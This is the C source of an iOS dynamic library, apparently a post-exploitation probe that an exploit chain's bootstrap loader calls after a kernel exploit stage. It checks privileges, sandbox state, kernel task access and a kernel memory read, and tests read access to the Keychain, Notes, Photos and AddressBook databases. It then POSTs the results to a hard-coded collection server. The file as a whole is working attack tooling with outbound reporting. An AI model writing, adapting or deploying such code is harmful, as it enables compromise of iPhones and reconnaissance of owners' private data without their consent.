/*
 * probe_driver.c - Probe dylib to detect available kernel R/W after type 0x08
 *
 * Exports: _driver(void **output_ptr)
 * Called by bootstrap.dylib after kernel exploit (type 0x08) completes.
 *
 * This probe reports back what capabilities are available:
 * - Can we call task_for_pid(0)?
 * - Is sandbox relaxed?
 * - What's our uid/gid?
 * - Can we read protected files?
 *
 * Compile on Mac:
 *   clang -target arm64-apple-ios16.0 -isysroot $(xcrun --show-sdk-path) \
 *         -shared -o probe_type0x09.dylib probe_driver.c \
 *         -framework CoreFoundation -framework IOKit -lSystem \
 *         -Wno-incompatible-sysroot
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <mach/mach.h>
#include <mach/task.h>
#include <mach/host_info.h>

/* Network reporting */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* ---------- result structure expected by bootstrap.dylib ---------- */
/*
 * After driver() succeeds, bootstrap.dylib reads:
 *   uint16_t version  (must be 2)
 *   uint16_t count    (must be >= 2)
 *   ... 8 function pointers at offsets 0x10-0x48
 */
typedef struct {
    uint16_t version;      /* 0x00: must be 2 */
    uint16_t count;        /* 0x02: field count, must be >= 2 */
    uint32_t pad;          /* 0x04: padding */
    void    *fields[8];    /* 0x08-0x48: function pointers */
} driver_result_t;

/* ---------- report buffer ---------- */
static char g_report[4096];
static int  g_report_len = 0;

static void report_add(const char *fmt, ...) {
    va_list ap;
    va_start(ap, fmt);
    int n = vsnprintf(g_report + g_report_len,
                      sizeof(g_report) - g_report_len, fmt, ap);
    va_end(ap);
    if (n > 0) g_report_len += n;
}

/* ---------- send report via HTTP POST ---------- */
static void send_report(const char *server_ip, int port) {
    int fd = socket(AF_INET, SOCK_STREAM, 0);
    if (fd < 0) return;

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    inet_pton(AF_INET, server_ip, &addr.sin_addr);

    if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        close(fd);
        return;
    }

    char http[8192];
    int hlen = snprintf(http, sizeof(http),
        "POST /probe_report HTTP/1.1\r\n"
        "Host: %s:%d\r\n"
        "Content-Type: application/json\r\n"
        "Content-Length: %d\r\n"
        "Connection: close\r\n"
        "\r\n"
        "%s",
        server_ip, port, g_report_len, g_report);

    write(fd, http, hlen);
    close(fd);
}

/* ---------- probe functions ---------- */

static void probe_identity(void) {
    report_add("\"uid\":%d,\"euid\":%d,\"gid\":%d,\"egid\":%d,\"pid\":%d,",
               getuid(), geteuid(), getgid(), getegid(), getpid());
}

static void probe_kernel_version(void) {
    char buf[256] = {0};
    size_t len = sizeof(buf);
    sysctlbyname("kern.osversion", buf, &len, NULL, 0);
    report_add("\"kern_osversion\":\"%s\",", buf);

    len = sizeof(buf);
    sysctlbyname("kern.version", buf, &len, NULL, 0);
    buf[sizeof(buf)-1] = 0;
    char *nl = strchr(buf, '\n');
    if (nl) *nl = 0;
    report_add("\"kern_version\":\"%s\",", buf);
}

static void probe_task_for_pid(void) {
    mach_port_t kernel_port = MACH_PORT_NULL;
    kern_return_t kr;

    kr = task_for_pid(mach_task_self(), 0, &kernel_port);
    report_add("\"task_for_pid_0\":{\"kr\":%d,\"port\":%u},", kr, kernel_port);

    if (kernel_port != MACH_PORT_NULL) {
        mach_port_deallocate(mach_task_self(), kernel_port);
    }

    mach_port_t self_port = MACH_PORT_NULL;
    kr = task_for_pid(mach_task_self(), getpid(), &self_port);
    report_add("\"task_for_pid_self\":{\"kr\":%d,\"port\":%u},", kr, self_port);
    if (self_port != MACH_PORT_NULL) {
        mach_port_deallocate(mach_task_self(), self_port);
    }
}

static void probe_host_special_port(void) {
    mach_port_t host = mach_host_self();
    mach_port_t special = MACH_PORT_NULL;

    kern_return_t kr = host_get_special_port(host, HOST_LOCAL_NODE, 4, &special);
    report_add("\"host_special_4\":{\"kr\":%d,\"port\":%u},", kr, special);
    if (special != MACH_PORT_NULL) {
        mach_port_deallocate(mach_task_self(), special);
    }
}

static void probe_file_access(void) {
    struct stat st;
    const char *paths[] = {
        "/var/mobile/Library/Notes/notes.sqlite",
        "/var/mobile/Media/PhotoData/Photos.sqlite",
        "/var/mobile/Library/AddressBook/AddressBook.sqlitedb",
        "/var/Keychains/keychain-2.db",
        "/etc/passwd",
        "/var/root",
        "/private/var/mobile",
    };
    int n = sizeof(paths) / sizeof(paths[0]);

    report_add("\"file_access\":[");
    for (int i = 0; i < n; i++) {
        int st_ok = (stat(paths[i], &st) == 0) ? 1 : 0;
        int r_ok  = (access(paths[i], R_OK) == 0) ? 1 : 0;
        report_add("{\"path\":\"%s\",\"stat\":%d,\"read\":%d}%s",
                   paths[i], st_ok, r_ok, (i < n-1) ? "," : "");
    }
    report_add("],");
}

static void probe_sandbox(void) {
    void *handle = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW);
    if (!handle) {
        report_add("\"sandbox\":\"dlopen_failed\",");
        return;
    }

    typedef int (*sandbox_check_fn)(pid_t, const char *, int, ...);
    sandbox_check_fn sb_check = (sandbox_check_fn)dlsym(handle, "sandbox_check");
    if (!sb_check) {
        report_add("\"sandbox\":\"dlsym_failed\",");
        dlclose(handle);
        return;
    }

    /* SANDBOX_CHECK_NO_REPORT = 0x0001, SANDBOX_FILTER_NONE = 0 */
    int check_file = sb_check(getpid(), "file-read-data", 1);
    int check_mach = sb_check(getpid(), "mach-lookup", 1);
    int check_proc = sb_check(getpid(), "process-exec", 1);
    int check_net  = sb_check(getpid(), "network-outbound", 1);

    report_add("\"sandbox\":{\"file_read\":%d,\"mach_lookup\":%d,"
               "\"process_exec\":%d,\"network_out\":%d},",
               check_file, check_mach, check_proc, check_net);

    dlclose(handle);
}

static void probe_mach_ports(void) {
    mach_port_t self = mach_task_self();
    mach_port_name_array_t names;
    mach_port_type_array_t types;
    mach_msg_type_number_t names_cnt = 0, types_cnt = 0;

    kern_return_t kr = mach_port_names(self, &names, &names_cnt, &types, &types_cnt);
    report_add("\"mach_ports\":{\"kr\":%d,\"count\":%u},", kr, names_cnt);

    if (kr == KERN_SUCCESS) {
        vm_deallocate(self, (vm_address_t)names, names_cnt * sizeof(mach_port_name_t));
        vm_deallocate(self, (vm_address_t)types, types_cnt * sizeof(mach_port_type_t));
    }
}

static void probe_kread_attempt(void) {
    /* Try reading kernel memory through vm_read if we have kernel task */
    mach_port_t kernel_port = MACH_PORT_NULL;
    kern_return_t kr = task_for_pid(mach_task_self(), 0, &kernel_port);

    if (kr == KERN_SUCCESS && kernel_port != MACH_PORT_NULL) {
        vm_offset_t data = 0;
        mach_msg_type_number_t data_cnt = 0;
        kr = vm_read(kernel_port, 0xFFFFFFF007004000ULL, 8, &data, &data_cnt);
        report_add("\"kread\":{\"kr\":%d,\"cnt\":%u,\"available\":true},", kr, data_cnt);
        if (kr == KERN_SUCCESS) {
            vm_deallocate(mach_task_self(), data, data_cnt);
        }
        mach_port_deallocate(mach_task_self(), kernel_port);
    } else {
        report_add("\"kread\":{\"available\":false,\"tfp0_kr\":%d},", kr);
    }
}

static void probe_dyld_info(void) {
    struct task_dyld_info dyld_info;
    mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
    kern_return_t kr = task_info(mach_task_self(), TASK_DYLD_INFO,
                                (task_info_t)&dyld_info, &count);

    if (kr == KERN_SUCCESS) {
        report_add("\"dyld_info\":{\"all_image_info_addr\":%llu,"
                   "\"all_image_info_size\":%llu,"
                   "\"all_image_info_format\":%d},",
                   dyld_info.all_image_info_addr,
                   dyld_info.all_image_info_size,
                   dyld_info.all_image_info_format);
    } else {
        report_add("\"dyld_info\":{\"kr\":%d},", kr);
    }
}

/* ---------- fake result functions (stubs for bootstrap.dylib) ---------- */
static void stub_noop(void) { }

static driver_result_t g_result;

/* ---------- main entry point ---------- */
__attribute__((visibility("default")))
int driver(void **output_ptr) {
    if (!output_ptr) return 0xa0001;

    g_report_len = 0;
    report_add("{\"probe\":\"coruna_type09_probe\",\"version\":1,");

    probe_identity();
    probe_kernel_version();
    probe_task_for_pid();
    probe_host_special_port();
    probe_sandbox();
    probe_file_access();
    probe_mach_ports();
    probe_kread_attempt();
    probe_dyld_info();

    /* Remove trailing comma, close JSON */
    if (g_report_len > 0 && g_report[g_report_len - 1] == ',') {
        g_report[g_report_len - 1] = '}';
    } else {
        report_add("}");
    }

    /* Try to send report to our server */
    send_report("192.168.0.103", 9080);

    /* Set up result structure for bootstrap.dylib */
    memset(&g_result, 0, sizeof(g_result));
    g_result.version = 2;
    g_result.count   = 2;
    for (int i = 0; i < 8; i++) {
        g_result.fields[i] = (void *)stub_noop;
    }

    *output_ptr = &g_result;

    return 0;
}
